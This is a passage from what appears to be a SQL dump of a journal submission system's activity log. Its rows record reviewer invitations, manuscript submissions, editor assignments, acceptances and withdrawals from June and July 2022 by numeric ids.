Manuscript',12723,'Editor',161),(118954,'2022-06-29 13:47:42','Editor has been Editor Decision Accepted article',12723,'Editor',161),(118955,'2022-06-29 13:49:36','Publisher: Accept Notification has been sent to Author',12723,'Publisher',75),(118956,'2022-06-29 13:50:04','Publisher has been Accepted Articles  article',12723,'Publisher',75),(118957,'2022-06-29 14:22:27','Publisher has Invited Reviewer',12403,'Publisher',376),(118958,'2022-06-29 14:22:32','Publisher has Invited Reviewer',12403,'Publisher',376),(118959,'2022-06-29 14:22:36','Publisher has Invited Reviewer',12403,'Publisher',376),(118960,'2022-06-29 14:22:41','Publisher has Invited Reviewer',12403,'Publisher',376),(118961,'2022-06-29 14:22:46','Publisher has Invited Reviewer',12403,'Publisher',376),(118962,'2022-06-29 14:22:51','Publisher has Invited Reviewer',12403,'Publisher',376),(118963,'2022-06-29 14:22:55','Publisher has Invited Reviewer',12403,'Publisher',376),(118964,'2022-06-29 14:23:00','Publisher has Invited Reviewer',12403,'Publisher',376),(118965,'2022-06-29 14:23:05','Publisher has Invited Reviewer',12403,'Publisher',376),(118966,'2022-06-29 14:23:09','Publisher has Invited Reviewer',12403,'Publisher',376),(118967,'2022-06-29 14:23:14','Publisher has Invited Reviewer',12403,'Publisher',376),(118968,'2022-06-29 14:23:19','Publisher has Invited Reviewer',12403,'Publisher',376),(118969,'2022-06-29 14:23:24','Publisher has Invited Reviewer',12403,'Publisher',376),(118970,'2022-06-29 14:23:29','Publisher has Invited Reviewer',12403,'Publisher',376),(118971,'2022-06-29 14:24:36','Publisher has Invited Reviewer',12386,'Publisher',376),(118972,'2022-06-29 14:24:41','Publisher has Invited Reviewer',12386,'Publisher',376),(118973,'2022-06-29 14:24:46','Publisher has Invited Reviewer',12386,'Publisher',376),(118974,'2022-06-29 14:24:51','Publisher has Invited Reviewer',12386,'Publisher',376),(118975,'2022-06-29 14:26:26','Publisher has Invited Reviewer',12287,'Publisher',376),(118976,'2022-06-29 14:26:31','Publisher has Invited Reviewer',12287,'Publisher',376),(118977,'2022-06-29 14:26:36','Publisher has Invited Reviewer',12287,'Publisher',376),(118978,'2022-06-29 14:26:41','Publisher has Invited Reviewer',12287,'Publisher',376),(118979,'2022-06-29 14:26:45','Publisher has Invited Reviewer',12287,'Publisher',376),(118980,'2022-06-29 14:26:50','Publisher has Invited Reviewer',12287,'Publisher',376),(118981,'2022-06-29 15:09:05','Publisher has been Withdrawn  article',11440,'Publisher',645),(118982,'2022-06-29 17:35:35','Publisher has been Assigned Editor',12562,'Publisher',319),(118983,'2022-06-29 17:36:11','Publisher has been Withdrawn  article',11328,'Publisher',319),(118984,'2022-06-29 17:36:22','Publisher has been Rejected Articles  article',11327,'Publisher',319),(118985,'2022-06-30 09:39:25','Publisher has Invited Reviewer',12819,'Publisher',988),(118986,'2022-06-30 09:39:29','Publisher has Invited Reviewer',12819,'Publisher',988),(118987,'2022-06-30 09:39:34','Publisher has Invited Reviewer',12819,'Publisher',988),(118988,'2022-06-30 09:42:05','Publisher has Invited Reviewer',12818,'Publisher',988),(118989,'2022-06-30 09:42:11','Publisher has Invited Reviewer',12818,'Publisher',988),(118990,'2022-06-30 09:42:16','Publisher has Invited Reviewer',12818,'Publisher',988),(118991,'2022-06-30 09:42:40','Publisher has Invited Reviewer',12818,'Publisher',988),(118992,'2022-06-30 09:43:08','Publisher has been Withdrawn  article',12803,'Publisher',988),(118993,'2022-06-30 09:44:15','Publisher has Invited Reviewer',12781,'Publisher',988),(118994,'2022-06-30 09:44:19','Publisher has Invited Reviewer',12781,'Publisher',988),(118995,'2022-06-30 09:44:24','Publisher has Invited Reviewer',12781,'Publisher',988),(118996,'2022-06-30 09:44:29','Publisher has Invited Reviewer',12781,'Publisher',988),(118997,'2022-06-30 09:45:15','Publisher has been Withdrawn  article',12398,'Publisher',988),(118998,'2022-06-30 09:45:47','Publisher has been Withdrawn  article',12370,'Publisher',988),(118999,'2022-06-30 13:11:49','Publisher has Invited Reviewer',11846,'Publisher',248),(119000,'2022-06-30 13:11:50','Publisher has Invited Reviewer',11846,'Publisher',248),(119001,'2022-06-30 13:11:51','Publisher has Invited Reviewer',11846,'Publisher',248),(119002,'2022-06-30 13:11:52','Publisher has Invited Reviewer',11846,'Publisher',248),(119003,'2022-06-30 13:11:52','Publisher has Invited Reviewer',11846,'Publisher',248),(119004,'2022-06-30 13:11:53','Publisher has Invited Reviewer',11846,'Publisher',248),(119005,'2022-06-30 13:11:53','Publisher has Invited Reviewer',11846,'Publisher',248),(119006,'2022-06-30 13:11:54','Publisher has Invited Reviewer',11846,'Publisher',248),(119007,'2022-06-30 13:11:55','Publisher has Invited Reviewer',11846,'Publisher',248),(119008,'2022-06-30 13:11:55','Publisher has Invited Reviewer',11846,'Publisher',248),(119009,'2022-06-30 13:11:56','Publisher has Invited Reviewer',11846,'Publisher',248),(119010,'2022-06-30 13:11:56','Publisher has Invited Reviewer',11846,'Publisher',248),(119011,'2022-06-30 13:11:57','Publisher has Invited Reviewer',11846,'Publisher',248),(119012,'2022-06-30 13:11:57','Publisher has Invited Reviewer',11846,'Publisher',248),(119013,'2022-06-30 13:11:58','Publisher has Invited Reviewer',11846,'Publisher',248),(119014,'2022-06-30 13:11:59','Publisher has Invited Reviewer',11846,'Publisher',248),(119015,'2022-06-30 13:11:59','Publisher has Invited Reviewer',11846,'Publisher',248),(119016,'2022-06-30 13:12:00','Publisher has Invited Reviewer',11846,'Publisher',248),(119017,'2022-06-30 13:12:00','Publisher has Invited Reviewer',11846,'Publisher',248),(119018,'2022-06-30 13:12:01','Publisher has Invited Reviewer',11846,'Publisher',248),(119019,'2022-06-30 13:12:07','Publisher has Invited Reviewer',11846,'Publisher',248),(119020,'2022-06-30 13:12:18','Publisher has Invited Reviewer',11846,'Publisher',248),(119021,'2022-06-30 13:12:31','Publisher has Invited Reviewer',11846,'Publisher',248),(119022,'2022-06-30 13:14:25','Publisher has Invited Reviewer',12815,'Publisher',248),(119023,'2022-06-30 13:14:25','Publisher has Invited Reviewer',12815,'Publisher',248),(119024,'2022-06-30 13:14:26','Publisher has Invited Reviewer',12815,'Publisher',248),(119025,'2022-06-30 13:14:26','Publisher has Invited Reviewer',12815,'Publisher',248),(119026,'2022-06-30 13:14:27','Publisher has Invited Reviewer',12815,'Publisher',248),(119027,'2022-06-30 13:14:28','Publisher has Invited Reviewer',12815,'Publisher',248),(119028,'2022-06-30 13:14:28','Publisher has Invited Reviewer',12815,'Publisher',248),(119029,'2022-06-30 13:14:28','Publisher has Invited Reviewer',12815,'Publisher',248),(119030,'2022-06-30 13:14:29','Publisher has Invited Reviewer',12815,'Publisher',248),(119031,'2022-06-30 13:14:29','Publisher has Invited Reviewer',12815,'Publisher',248),(119032,'2022-06-30 13:15:39','Publisher has Invited Reviewer',12814,'Publisher',248),(119033,'2022-06-30 13:15:39','Publisher has Invited Reviewer',12814,'Publisher',248),(119034,'2022-06-30 13:15:54','Publisher has Invited Reviewer',12814,'Publisher',248),(119035,'2022-06-30 13:15:54','Publisher has Invited Reviewer',12814,'Publisher',248),(119036,'2022-06-30 13:15:55','Publisher has Invited Reviewer',12814,'Publisher',248),(119037,'2022-06-30 13:16:01','Publisher has Invited Reviewer',12814,'Publisher',248),(119038,'2022-06-30 13:16:02','Publisher has Invited Reviewer',12814,'Publisher',248),(119039,'2022-06-30 13:16:13','Publisher has Invited Reviewer',12814,'Publisher',248),(119040,'2022-06-30 13:16:27','Publisher has Invited Reviewer',12814,'Publisher',248),(119041,'2022-06-30 13:16:40','Publisher has Invited Reviewer',12814,'Publisher',248),(119042,'2022-06-30 13:16:52','Publisher has Invited Reviewer',12814,'Publisher',248),(119043,'2022-06-30 13:17:02','Publisher has Invited Reviewer',12814,'Publisher',248),(119044,'2022-06-30 13:17:12','Publisher has Invited Reviewer',12814,'Publisher',248),(119045,'2022-06-30 13:17:26','Publisher has Invited Reviewer',12814,'Publisher',248),(119046,'2022-06-30 13:17:40','Publisher has Invited Reviewer',12814,'Publisher',248),(119047,'2022-06-30 13:17:52','Publisher has Invited Reviewer',12814,'Publisher',248),(119048,'2022-06-30 13:18:02','Publisher has Invited Reviewer',12814,'Publisher',248),(119049,'2022-06-30 13:18:09','Publisher has Invited Reviewer',12814,'Publisher',248),(119050,'2022-06-30 13:18:21','Publisher has Invited Reviewer',12814,'Publisher',248),(119051,'2022-06-30 15:05:07','Publisher has Invited Reviewer',12562,'Publisher',319),(119052,'2022-06-30 15:05:08','Publisher has Invited Reviewer',12562,'Publisher',319),(119053,'2022-06-30 15:05:08','Publisher has Invited Reviewer',12562,'Publisher',319),(119054,'2022-06-30 15:05:09','Publisher has Invited Reviewer',12562,'Publisher',319),(119055,'2022-06-30 15:05:09','Publisher has Invited Reviewer',12562,'Publisher',319),(119056,'2022-06-30 15:05:10','Publisher has Invited Reviewer',12562,'Publisher',319),(119057,'2022-06-30 15:05:10','Publisher has Invited Reviewer',12562,'Publisher',319),(119058,'2022-06-30 15:05:11','Publisher has Invited Reviewer',12562,'Publisher',319),(119059,'2022-06-30 15:05:11','Publisher has Invited Reviewer',12562,'Publisher',319),(119060,'2022-06-30 15:07:09','Publisher has Invited Reviewer',12562,'Publisher',319),(119061,'2022-06-30 15:07:10','Publisher has Invited Reviewer',12562,'Publisher',319),(119062,'2022-06-30 15:07:11','Publisher has Invited Reviewer',12562,'Publisher',319),(119063,'2022-06-30 15:07:11','Publisher has Invited Reviewer',12562,'Publisher',319),(119064,'2022-06-30 15:07:12','Publisher has Invited Reviewer',12562,'Publisher',319),(119065,'2022-06-30 15:07:13','Publisher has Invited Reviewer',12562,'Publisher',319),(119066,'2022-06-30 15:07:13','Publisher has Invited Reviewer',12562,'Publisher',319),(119067,'2022-06-30 15:07:14','Publisher has Invited Reviewer',12562,'Publisher',319),(119068,'2022-06-30 15:07:14','Publisher has Invited Reviewer',12562,'Publisher',319),(119069,'2022-06-30 15:07:15','Publisher has Invited Reviewer',12562,'Publisher',319),(119070,'2022-06-30 15:07:15','Publisher has Invited Reviewer',12562,'Publisher',319),(119071,'2022-06-30 15:07:16','Publisher has Invited Reviewer',12562,'Publisher',319),(119072,'2022-06-30 15:07:16','Publisher has Invited Reviewer',12562,'Publisher',319),(119073,'2022-07-01 11:19:15','Publisher has been Assigned Editor',12836,'Publisher',48),(119074,'2022-07-01 11:19:36','Publisher has been Assigned Editor',12835,'Publisher',48),(119075,'2022-07-01 11:19:58','Publisher has been Assigned Editor',12834,'Publisher',48),(119076,'2022-07-01 16:03:15','Publisher has been Assigned Editor',12837,'',1094),(119077,'2022-07-01 16:42:10','Publisher has Invited Reviewer',12826,'Publisher',1009),(119078,'2022-07-01 16:42:12','Publisher has Invited Reviewer',12826,'Publisher',1009),(119079,'2022-07-01 16:42:14','Publisher has Invited Reviewer',12826,'Publisher',1009),(119080,'2022-07-01 16:42:16','Publisher has Invited Reviewer',12826,'Publisher',1009),(119081,'2022-07-01 16:42:26','Publisher has Invited Reviewer',12826,'Publisher',1009),(119082,'2022-07-01 16:42:27','Publisher has Invited Reviewer',12826,'Publisher',1009),(119083,'2022-07-01 16:42:28','Publisher has Invited Reviewer',12826,'Publisher',1009),(119084,'2022-07-01 16:42:29','Publisher has Invited Reviewer',12826,'Publisher',1009),(119085,'2022-07-01 16:42:55','Publisher has Invited Reviewer',12826,'Publisher',1009),(119086,'2022-07-01 16:42:57','Publisher has Invited Reviewer',12826,'Publisher',1009),(119087,'2022-07-01 16:42:58','Publisher has Invited Reviewer',12826,'Publisher',1009),(119088,'2022-07-01 16:42:59','Publisher has Invited Reviewer',12826,'Publisher',1009),(119089,'2022-07-01 16:43:00','Publisher has Invited Reviewer',12826,'Publisher',1009),(119090,'2022-07-01 16:43:01','Publisher has Invited Reviewer',12826,'Publisher',1009),(119091,'2022-07-01 16:43:02','Publisher has Invited Reviewer',12826,'Publisher',1009),(119092,'2022-07-01 16:44:17','Publisher has Invited Reviewer',10872,'Publisher',1009),(119093,'2022-07-01 16:45:20','Publisher has been Assigned Editor',12503,'Publisher',1009),(119094,'2022-07-01 16:45:40','Publisher has been Assigned Editor',12502,'Publisher',1009),(119095,'2022-07-01 16:46:33','Publisher has been Assigned Editor',12501,'Publisher',1009),(119096,'2022-07-01 16:46:58','Publisher has been Assigned Editor',12500,'Publisher',1009),(119097,'2022-07-01 16:47:12','Publisher has been Assigned Editor',12499,'Publisher',1009),(119098,'2022-07-01 16:48:04','Publisher has Invited Reviewer',12503,'Publisher',1009),(119099,'2022-07-01 16:48:05','Publisher has Invited Reviewer',12503,'Publisher',1009),(119100,'2022-07-01 16:48:06','Publisher has Invited Reviewer',12503,'Publisher',1009),(119101,'2022-07-01 16:48:08','Publisher has Invited Reviewer',12503,'Publisher',1009),(119102,'2022-07-01 16:48:14','Publisher has Invited Reviewer',12503,'Publisher',1009),(119103,'2022-07-01 16:48:15','Publisher has Invited Reviewer',12503,'Publisher',1009),(119104,'2022-07-01 16:48:16','Publisher has Invited Reviewer',12503,'Publisher',1009),(119105,'2022-07-01 16:48:17','Publisher has Invited Reviewer',12503,'Publisher',1009),(119106,'2022-07-01 16:49:09','Publisher has Invited Reviewer',12502,'Publisher',1009),(119107,'2022-07-01 16:49:27','Publisher has Invited Reviewer',12502,'Publisher',1009),(119108,'2022-07-01 16:49:28','Publisher has Invited Reviewer',12502,'Publisher',1009),(119109,'2022-07-01 16:49:29','Publisher has Invited Reviewer',12502,'Publisher',1009),(119110,'2022-07-01 16:49:29','Publisher has Invited Reviewer',12502,'Publisher',1009),(119111,'2022-07-01 16:49:30','Publisher has Invited Reviewer',12502,'Publisher',1009),(119112,'2022-07-01 16:49:31','Publisher has Invited Reviewer',12502,'Publisher',1009),(119113,'2022-07-01 16:49:32','Publisher has Invited Reviewer',12502,'Publisher',1009),(119114,'2022-07-01 16:50:06','Publisher has Invited Reviewer',12501,'Publisher',1009),(119115,'2022-07-01 16:51:18','Publisher has Invited Reviewer',12501,'Publisher',1009),(119116,'2022-07-01 16:51:19','Publisher has Invited Reviewer',12501,'Publisher',1009),(119117,'2022-07-01 16:51:26','Publisher has Invited Reviewer',12501,'Publisher',1009),(119118,'2022-07-01 16:51:27','Publisher has Invited Reviewer',12501,'Publisher',1009),(119119,'2022-07-01 16:51:28','Publisher has Invited Reviewer',12501,'Publisher',1009),(119120,'2022-07-01 16:52:37','Publisher has Invited Reviewer',12500,'Publisher',1009),(119121,'2022-07-01 16:52:38','Publisher has Invited Reviewer',12500,'Publisher',1009),(119122,'2022-07-01 16:52:39','Publisher has Invited Reviewer',12500,'Publisher',1009),(119123,'2022-07-01 16:52:40','Publisher has Invited Reviewer',12500,'Publisher',1009),(119124,'2022-07-01 16:52:41','Publisher has Invited Reviewer',12500,'Publisher',1009),(119125,'2022-07-01 16:52:42','Publisher has Invited Reviewer',12500,'Publisher',1009),(119126,'2022-07-01 16:52:42','Publisher has Invited Reviewer',12500,'Publisher',1009),(119127,'2022-07-01 16:53:58','Publisher has Invited Reviewer',12499,'Publisher',1009),(119128,'2022-07-01 16:53:59','Publisher has Invited Reviewer',12499,'Publisher',1009),(119129,'2022-07-01 16:54:00','Publisher has Invited Reviewer',12499,'Publisher',1009),(119130,'2022-07-01 16:54:02','Publisher has Invited Reviewer',12499,'Publisher',1009),(119131,'2022-07-01 16:54:09','Publisher has Invited Reviewer',12499,'Publisher',1009),(119132,'2022-07-01 16:54:10','Publisher has Invited Reviewer',12499,'Publisher',1009),(119133,'2022-07-01 16:54:11','Publisher has Invited Reviewer',12499,'Publisher',1009),(119134,'2022-07-01 16:54:12','Publisher has Invited Reviewer',12499,'Publisher',1009),(119135,'2022-07-01 17:06:45','Editor has Accepted to review Manuscript',12499,'Editor',1749),(119136,'2022-07-01 17:07:03','Editor has Accepted to review Manuscript',12501,'Editor',1749),(119137,'2022-07-01 17:07:11','Editor has Accepted to review Manuscript',12502,'Editor',1749),(119138,'2022-07-01 17:13:49','Reviewer has submitted comments',12562,'Reviewer',12875),(119139,'2022-07-01 18:25:50','Manuscript Submitted by Author',12838,'Author',13055),(119140,'2022-07-02 09:31:57','Publisher has Invited Reviewer',12502,'Publisher',1009),(119141,'2022-07-02 09:36:43','Publisher has Invited Reviewer',11959,'Publisher',972),(119142,'2022-07-02 09:36:48','Publisher has Invited Reviewer',11959,'Publisher',972),(119143,'2022-07-02 09:36:52','Publisher has Invited Reviewer',11959,'Publisher',972),(119144,'2022-07-02 09:36:57','Publisher has Invited Reviewer',11959,'Publisher',972),(119145,'2022-07-02 09:37:31','Publisher has Invited Reviewer',11620,'Publisher',645),(119146,'2022-07-02 09:37:36','Publisher has Invited Reviewer',11620,'Publisher',645),(119147,'2022-07-02 09:37:41','Publisher has Invited Reviewer',11620,'Publisher',645),(119148,'2022-07-02 09:37:46','Publisher has Invited Reviewer',11620,'Publisher',645),(119149,'2022-07-02 09:37:51','Publisher has Invited Reviewer',11620,'Publisher',645),(119150,'2022-07-02 09:37:55','Publisher has Invited Reviewer',11620,'Publisher',645),(119151,'2022-07-02 09:38:00','Publisher has Invited Reviewer',11620,'Publisher',645),(119152,'2022-07-02 09:47:40','Publisher has Invited Reviewer',12819,'Publisher',988),(119153,'2022-07-02 09:47:45','Publisher has Invited Reviewer',12819,'Publisher',988),(119154,'2022-07-02 09:47:50','Publisher has Invited Reviewer',12819,'Publisher',988),(119155,'2022-07-02 09:47:55','Publisher has Invited Reviewer',12819,'Publisher',988),(119156,'2022-07-02 12:36:31','Editor has Invited Reviewer',12499,'Editor',1749),(119157,'2022-07-02 12:39:06','Editor has Invited Reviewer',12501,'Editor',1749),(119158,'2022-07-02 12:39:07','Editor has Invited Reviewer',12501,'Editor',1749),(119159,'2022-07-02 12:39:08','Editor has Invited Reviewer',12501,'Editor',1749),(119160,'2022-07-02 12:39:09','Editor has Invited Reviewer',12501,'Editor',1749),(119161,'2022-07-03 08:53:38','Reviewer has submitted comments',8353,'Reviewer',18425),(119162,'2022-07-04 01:26:48','Manuscript Submitted by Author',12839,'Author',12808),(119163,'2022-07-04 11:46:51','Reviewer has submitted comments',12771,'Reviewer',936),(119164,'2022-07-04 11:51:17','Reviewer has submitted comments',12728,'Reviewer',13099),(119165,'2022-07-04 11:51:49','Publisher has Invited Reviewer',11598,'Publisher',645),(119166,'2022-07-04 11:51:54','Publisher has Invited Reviewer',11598,'Publisher',645),(119167,'2022-07-04 11:51:59','Publisher has Invited Reviewer',11598,'Publisher',645),(119168,'2022-07-04 11:52:03','Publisher has Invited Reviewer',11598,'Publisher',645),(119169,'2022-07-04 11:52:08','Publisher has Invited Reviewer',11598,'Publisher',645),(119170,'2022-07-04 11:52:13','Publisher has Invited Reviewer',11598,'Publisher',645),(119171,'2022-07-04 11:52:16','Publisher : Notified Editor',12771,'Publisher',85),(119172,'2022-07-04 11:52:18','Publisher has Invited Reviewer',11598,'Publisher',645),(119173,'2022-07-04 11:52:33','Publisher : Notified Editor',12728,'Publisher',85),(119174,'2022-07-04 11:54:22','Editor has been Editor Decision Accepted article',12771,'Editor',1675),(119175,'2022-07-04 11:54:36','Editor has been Editor Decision Accepted article',12728,'Editor',1675),(119176,'2022-07-04 11:56:15','Publisher has been Accepted Articles  article',12771,'Publisher',85),(119177,'2022-07-04 11:56:41','Publisher has been Accepted Articles  article',12728,'Publisher',85),(119178,'2022-07-04 12:01:36','Publisher has Invited Reviewer',12814,'Publisher',248),(119179,'2022-07-04 12:01:37','Publisher has Invited Reviewer',12814,'Publisher',248),(119180,'2022-07-04 12:01:38','Publisher has Invited Reviewer',12814,'Publisher',248),(119181,'2022-07-04 12:01:40','Publisher has Invited Reviewer',12814,'Publisher',248),(119182,'2022-07-04 12:01:41','Publisher has Invited Reviewer',12814,'Publisher',248),(119183,'2022-07-04 12:01:43','Publisher has Invited Reviewer',12814,'Publisher',248),(119184,'2022-07-04 12:01:44','Publisher has Invited Reviewer',12814,'Publisher',248),(119185,'2022-07-04 12:01:45','Publisher has Invited Reviewer',12814,'Publisher',248),(119186,'2022-07-04 12:01:47','Publisher has Invited Reviewer',12814,'Publisher',248),(119187,'2022-07-04 12:01:48','Publisher has Invited Reviewer',12814,'Publisher',248),(119188,'2022-07-04 12:01:49','Publisher has Invited Reviewer',12814,'Publisher',248),(119189,'2022-07-04 12:01:50','Publisher has Invited Reviewer',12814,'Publisher',248),(119190,'2022-07-04 12:01:51','Publisher has Invited Reviewer',12814,'Publisher',248),(119191,'2022-07-04 12:01:52','Publisher has Invited Reviewer',12814,'Publisher',248),(119192,'2022-07-04 12:01:53','Publisher has Invited Reviewer',12814,'Publisher',248),(119193,'2022-07-04 12:01:54','Publisher has Invited Reviewer',12814,'Publisher',248),(119194,'2022-07-04 12:01:55','Publisher has Invited Reviewer',12814,'Publisher',248),(119195,'2022-07-04 12:01:57','Publisher has Invited Reviewer',12814,'Publisher',248),(119196,'2022-07-04 12:01:57','Publisher has Invited Reviewer',12814,'Publisher',248),(119197,'2022-07-04 12:01:58','Publisher has Invited Reviewer',12814,'Publisher',248),(119198,'2022-07-04 12:01:59','Publisher has Invited Reviewer',12814,'Publisher',248),(119199,'2022-07-04 12:02:10','Publisher has Invited Reviewer',12814,'Publisher',248),(119200,'2022-07-04 12:02:11','Publisher has Invited Reviewer',12814,'Publisher',248),(119201,'2022-07-04 12:02:12','Publisher has Invited Reviewer',12814,'Publisher',248),(119202,'2022-07-04 12:02:12','Publisher has Invited Reviewer',12814,'Publisher',248),(119203,'2022-07-04 12:02:12','Publisher has Invited Reviewer',12814,'Publisher',248),(119204,'2022-07-04 12:04:37','Publisher has Invited Reviewer',11598,'Publisher',645),(119205,'2022-07-04 12:04:42','Publisher has Invited Reviewer',11598,'Publisher',645),(119206,'2022-07-04 12:04:47','Publisher has Invited Reviewer',11598,'Publisher',645),(119207,'2022-07-04 12:04:51','Publisher has Invited Reviewer',11598,'Publisher',645),(119208,'2022-07-04 12:04:56','Publisher has Invited Reviewer',11598,'Publisher',645),(119209,'2022-07-04 12:05:01','Publisher has Invited Reviewer',11598,'Publisher',645),(119210,'2022-07-04 14:13:43','Manuscript Submitted by Publisher',12840,'Publisher',48),(119211,'2022-07-04 14:29:40','Publisher has Invited Reviewer',12834,'Publisher',48),(119212,'2022-07-04 14:29:45','Publisher has Invited Reviewer',12834,'Publisher',48),(119213,'2022-07-04 14:39:51','Publisher has Invited Reviewer',12835,'Publisher',48),(119214,'2022-07-04 14:39:55','Publisher has Invited Reviewer',12835,'Publisher',48),(119215,'2022-07-04 14:40:00','Publisher has Invited Reviewer',12835,'Publisher',48),(119216,'2022-07-04 14:41:08','Publisher has Invited Reviewer',12835,'Publisher',48),(119217,'2022-07-04 14:41:13','Publisher has Invited Reviewer',12835,'Publisher',48),(119218,'2022-07-04 14:41:18','Publisher has Invited Reviewer',12835,'Publisher',48),(119219,'2022-07-04 14:56:04','Manuscript Submitted by Publisher',12841,'Publisher',673),(119220,'2022-07-04 15:14:10','Publisher has been Withdrawn  article',12199,'Publisher',673),(119221,'2022-07-04 15:14:24','Publisher has been Withdrawn  article',12811,'Publisher',673),(119222,'2022-07-04 21:11:16','Editor has Invited Reviewer',12502,'Editor',1749),(119223,'2022-07-04 21:11:17','Editor has Invited Reviewer',12502,'Editor',1749),(119224,'2022-07-04 21:11:18','Editor has Invited Reviewer',12502,'Editor',1749),(119225,'2022-07-04 21:11:20','Editor has Invited Reviewer',12502,'Editor',1749),(119226,'2022-07-04 21:11:20','Editor has Invited Reviewer',12502,'Editor',1749),(119227,'2022-07-04 21:11:21','Editor has Invited Reviewer',12502,'Editor',1749),(119228,'2022-07-04 21:11:22','Editor has Invited Reviewer',12502,'Editor',1749),(119229,'2022-07-04 21:11:23','Editor has Invited Reviewer',12502,'Editor',1749),(119230,'2022-07-04 21:11:26','Editor has Invited Reviewer',12502,'Editor',1749),(119231,'2022-07-04 21:11:27','Editor has Invited Reviewer',12502,'Editor',1749),(119232,'2022-07-04 21:11:28','Editor has Invited Reviewer',12502,'Editor',1749),(119233,'2022-07-04 21:11:29','Editor has Invited Reviewer',12502,'Editor',1749),(119234,'2022-07-04 21:11:30','Editor has Invited Reviewer',12502,'Editor',1749),(119235,'2022-07-04 21:11:31','Editor has Invited Reviewer',12502,'Editor',1749),(119236,'2022-07-04 21:11:32','Editor has Invited Reviewer',12502,'Editor',1749),(119237,'2022-07-04 21:13:23','Editor has Invited Reviewer',12501,'Editor',1749),(119238,'2022-07-04 21:13:25','Editor has Invited Reviewer',12501,'Editor',1749),(119239,'2022-07-04 21:13:25','Editor has Invited Reviewer',12501,'Editor',1749),(119240,'2022-07-04 21:13:26','Editor has Invited Reviewer',12501,'Editor',1749),(119241,'2022-07-04 21:13:27','Editor has Invited Reviewer',12501,'Editor',1749),(119242,'2022-07-04 21:13:28','Editor has Invited Reviewer',12501,'Editor',1749),(119243,'2022-07-04 21:13:29','Editor has Invited Reviewer',12501,'Editor',1749),(119244,'2022-07-04 21:13:30','Editor has Invited Reviewer',12501,'Editor',1749),(119245,'2022-07-04 21:13:31','Editor has Invited Reviewer',12501,'Editor',1749),(119246,'2022-07-04 21:13:32','Editor has Invited Reviewer',12501,'Editor',1749),(119247,'2022-07-04 21:13:33','Editor has Invited Reviewer',12501,'Editor',1749),(119248,'2022-07-04 21:14:32','Editor has Invited Reviewer',12499,'Editor',1749),(119249,'2022-07-04 21:14:32','Editor has Invited Reviewer',12499,'Editor',1749),(119250,'2022-07-04 21:14:33','Editor has Invited Reviewer',12499,'Editor',1749),(119251,'2022-07-04 21:14:34','Editor has Invited Reviewer',12499,'Editor',1749),(119252,'2022-07-04 21:14:35','Editor has Invited Reviewer',12499,'Editor',1749),(119253,'2022-07-04 21:14:36','Editor has Invited Reviewer',12499,'Editor',1749),(119254,'2022-07-04 21:14:37','Editor has Invited Reviewer',12499,'Editor',1749),(119255,'2022-07-04 21:14:37','Editor has Invited Reviewer',12499,'Editor',1749),(119256,'2022-07-04 21:14:39','Editor has Invited Reviewer',12499,'Editor',1749),(119257,'2022-07-04 21:14:39','Editor has Invited Reviewer',12499,'Editor',1749),(119258,'2022-07-04 21:15:11','Editor has Invited Reviewer',12499,'Editor',1749),(119259,'2022-07-04 21:15:11','Editor has Invited Reviewer',12499,'Editor',1749),(119260,'2022-07-04 21:15:12','Editor has Invited Reviewer',12499,'Editor',1749),(119261,'2022-07-04 21:15:13','Editor has Invited Reviewer',12499,'Editor',1749),(119262,'2022-07-05 09:42:58','Publisher has Invited Reviewer',11959,'Publisher',972),(119263,'2022-07-05 09:43:02','Publisher has Invited Reviewer',11959,'Publisher',972),(119264,'2022-07-05 09:43:08','Publisher has Invited Reviewer',11959,'Publisher',972),(119265,'2022-07-05 11:23:53','Manuscript Submitted by Publisher',12842,'Publisher',75),(119266,'2022-07-05 14:52:01','Manuscript Submitted by Publisher',12843,'Publisher',85),(119267,'2022-07-05 14:53:40','Manuscript Submitted by Publisher',12844,'Publisher',85),(119268,'2022-07-05 14:54:58','Manuscript Submitted by Publisher',12845,'Publisher',85),(119269,'2022-07-05 16:42:42','Reviewer has submitted comments',12501,'Reviewer',21446),(119270,'2022-07-06 09:48:54','Publisher has been Assigned Editor',12845,'Publisher',85),(119271,'2022-07-06 09:50:55','Publisher has been Assigned Editor',12844,'Publisher',85),(119272,'2022-07-06 09:51:13','Publisher has been Assigned Editor',12843,'Publisher',85),(119273,'2022-07-06 12:24:46','Publisher has been Accepted Articles  article',12843,'Publisher',85),(119274,'2022-07-06 13:04:44','Publisher has been Accepted Articles  article',12844,'Publisher',85),(119275,'2022-07-06 13:05:16','Publisher has been Accepted Articles  article',12845,'Publisher',85),(119276,'2022-07-06 13:41:38','Publisher has Invited Reviewer',12836,'Publisher',48),(119277,'2022-07-06 13:52:23','Manuscript Submitted by Author using Submission form',12846,'Author',13070),(119278,'2022-07-06 14:45:38','Publisher has been Assigned Editor',12842,'Publisher',75),(119279,'2022-07-06 21:08:24','Manuscript Submitted by Author using Submission form',12847,'Author',13071),(119280,'2022-07-07 09:58:26','Publisher has been Assigned Editor',12840,'Publisher',48),(119281,'2022-07-07 10:53:02','Publisher has Invited Reviewer',12840,'Publisher',48),(119282,'2022-07-07 10:53:11','Publisher has Invited Reviewer',12840,'Publisher',48),(119283,'2022-07-07 10:53:20','Publisher has Invited Reviewer',12840,'Publisher',48),(119284,'2022-07-07 10:53:28','Publisher has Invited Reviewer',12840,'Publisher',48),(119285,'2022-07-07 10:53:35','Publisher has Invited Reviewer',12840,'Publisher',48),(119286,'2022-07-07 17:41:52','Editor has Accepted to review Manuscript',12842,'Editor',161),(119287,'2022-07-07 17:42:01','Editor has been Editor Decision Accepted article',12842,'Editor',161),(119288,'2022-07-07 17:42:39','Publisher has been Accepted Articles  article',12842,'Publisher',75),(119289,'2022-07-08 09:24:31','Publisher has Invited Reviewer',12814,'Publisher',248),(119290,'2022-07-08 09:24:31','Publisher has Invited Reviewer',12814,'Publisher',248),(119291,'2022-07-08 09:24:32','Publisher has Invited Reviewer',12814,'Publisher',248),(119292,'2022-07-08 09:24:33','Publisher has Invited Reviewer',12814,'Publisher',248),(119293,'2022-07-08 09:24:33','Publisher has Invited Reviewer',12814,'Publisher',248),(119294,'2022-07-08 09:26:28','Publisher has Invited Reviewer',12316,'Publisher',248),(119295,'2022-07-08 09:26:29','Publisher has Invited Reviewer',12316,'Publisher',248),(119296,'2022-07-08 09:26:29','Publisher has Invited Reviewer',12316,'Publisher',248),(119297,'2022-07-08 09:26:30','Publisher has Invited Reviewer',12316,'Publisher',248),(119298,'2022-07-08 09:26:31','Publisher has Invited Reviewer',12316,'Publisher',248),(119299,'2022-07-08 09:26:31','Publisher has Invited Reviewer',12316,'Publisher',248),(119300,'2022-07-08 09:26:32','Publisher has Invited 